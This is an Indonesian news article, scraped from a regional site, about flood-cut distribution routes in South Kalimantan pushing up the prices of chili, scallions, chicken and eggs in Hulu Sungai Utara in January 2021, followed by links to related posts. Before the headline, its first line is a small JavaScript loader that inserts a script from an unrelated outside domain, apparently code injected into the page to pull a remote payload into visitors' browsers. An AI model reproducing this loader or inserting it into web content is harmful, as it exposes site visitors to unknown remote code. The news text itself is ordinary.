(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Putus Jalur Distribusi, Harga Cabai Rawit Melambung di HSU


KANALKALIMANTAN.COM, AMUNTAI – Banjir yang terjadi di 11 kabupaten kota di Kalimantan Selatan, menjadikan sejumlah harga kebutuhan pokok pangan di Kabupaten Hulu Sungai Utara (HSU) terkerek alami kenaikan.

Kenaikan bahan pokok tersebut mulai dari kisaran Rp 500 hingga mencapai Rp 40 ribu, khususnya terjadi pada komoditi cabai rawit lokal, cabai rawit taji dan daun bawang prai. Meski sebagian harga bahan pokok lainnya cenderung stabil.

Kondisi kenaikan harga cabai rawit itu terpantau dari laporan perkembangan rata-rata beberapa bahan pokok pangan pada Kamis (21/1/2021) yang dikeluarkan oleh Disperindagkop Kabupaten HSU.

Kepala Dinas Perindustrian Perdagangan Koperasi dan UKM (Disperindagkop UKM) Kabupaten HSU M Rafiq mengakui, kenaikan signifikan tersebut terjadi pada harga cabai rawit lokal yang pekan sebelumnya seharga Rp 160 ribu per Kg menjadi Rp 200 ribu per Kg pada pekan ini.

 

Untuk daun bawang prai pekan ini menjadi Rp 50 ribu per Kg, dmana pekan sebelumnya harganya masih harga Rp 35 ribu per Kg.

Menurut Rafiq naiknya harga cabai rawait lokal kemungkinan dipicu pasokan yang berkurang drastis, akibat terjadinya banjir bandang di beberapa kawasan di Kabupaten Hulu Sungai Tengah (HST).

“Komoditi cabai lokal banyak didatangkan dari Kabupaten Hulu Sungai Tengah yang sebagian wilayahnya telah dilanda banjir bandang,” ujar Kadisperindagkop HSU, saat dikonfirmasi Kanalkalimantan.com, Jumat (22/1/2021).

Lebih lanjut, ia menilai sebelum banjir pun kondisi harga cabai lokal telah terjadi kenaikan, hal ini dipengaruhi masuknya musim penghujan. “Saat ini ditambah terkendala akibat banjir dan terputusnya jalan nasional di Kalsel yang menjadi jalur distribusi,” bebernya.

Sementara itu, selain cabai rawit, daging ayam pun juga mengalami kenaikan yakni kisaran Rp 10 ribu untuk jenis ayam ras pedaging, awalnya Rp 30 ribu per ekor menjadi Rp 40 ribu per ekor.

Demikian juga untuk harga ayam kampung yang sebelumnya Rp 65 ribu per ekor menjadi Rp 70 ribu per ekor.

Selain itu, komoditas yang naik juga terjadi pada harga telur ayam ras dan telur Itik, dimana pekan sebelumnya telur ayam ras seharga Rp 2.000 ribu per biji menjadi Rp 2.500 per biji, dan telur itik sebelumnya Rp 2.000 per biji menjadi Rp 2.600 per biji.

Sedangkan untuk harga LPG 3 Kg masih cenderung stabil yakni Rp 25 ribu per tabung (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.